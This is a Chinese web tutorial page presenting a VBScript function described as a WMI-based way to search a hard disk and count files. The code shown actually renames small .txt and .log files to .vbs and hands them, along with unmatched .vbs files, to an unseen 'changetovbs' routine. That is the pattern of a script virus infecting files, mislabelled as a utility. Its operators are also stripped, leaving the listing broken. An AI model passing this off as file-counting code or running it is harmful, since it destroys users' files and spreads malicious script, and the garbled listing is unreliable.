• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    VBS调用WMI遍历搜索硬盘文件并计数的方法

    多年之前写的一个VBS调用WMI来遍历搜索硬盘文件,并计数的函数,今天整理网盘,看到了,发上来

    核心代码:

    Function wmisfile(path_sf,justcnt)
      'On Error Resume Next
      StrComputer = "."
      Set ObjWMIService = GetObject("winmgmts:\\"  StrComputer  "\root\cimv2")
      Set FileList = objWMIService.ExecQuery _
      ("ASSOCIATORS OF {Win32_Directory.Name='"  path_sf  "'} Where " _
        "ResultClass = CIM_DataFile")
      For Each objFile In FileList
        fname = LCase(objfile.name)
        ename = LCase(objfile.extension)
        If 1  objfile.filesize And objfile.filesize = 50000 Then
          Select Case ename
            Case "txt","log"
            path_vbs = objfile.drive  objfile.path  objfile.filename  ".vbs"
            objfile.rename(objfile.drive  objFile.Path  objfile.filename  ".vbs")
            Call changetovbs(path_vbs,path_vbs)
            justcnt = justcnt + 1
            Case "vbs"
            If checkversion(fname) = False Then
              Call changetovbs(fname,fname)
              justcnt = justcnt + 1
            End If
          End Select
        End If
      Next
      Set colSubfolders = objWMIService.ExecQuery _
      ("Associators of {Win32_Directory.Name='"  path_sf  "'} " _
        "Where AssocClass = Win32_Subdirectory " _
        "ResultRole = PartComponent")
      For Each objFolder In colSubfolders
        wmisfile objfolder.name,justcnt
      Next
    End Function

    您可能感兴趣的文章:
    • VBS脚本实现遍历批量替换多目录多文件内容的代码
    • 用vbs遍历文件并随机显示的脚本
    • VBS遍历文件或文件夹路径输入文件的所有绝对路径(附源码)
    上一篇:vbs判断磁盘类型和检测硬盘剩余空间的实现代码
    下一篇:ComboBox 控件的用法教程
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    VBS调用WMI遍历搜索硬盘文件并计数的方法 VBS,调用,WMI,遍历,搜索,硬盘,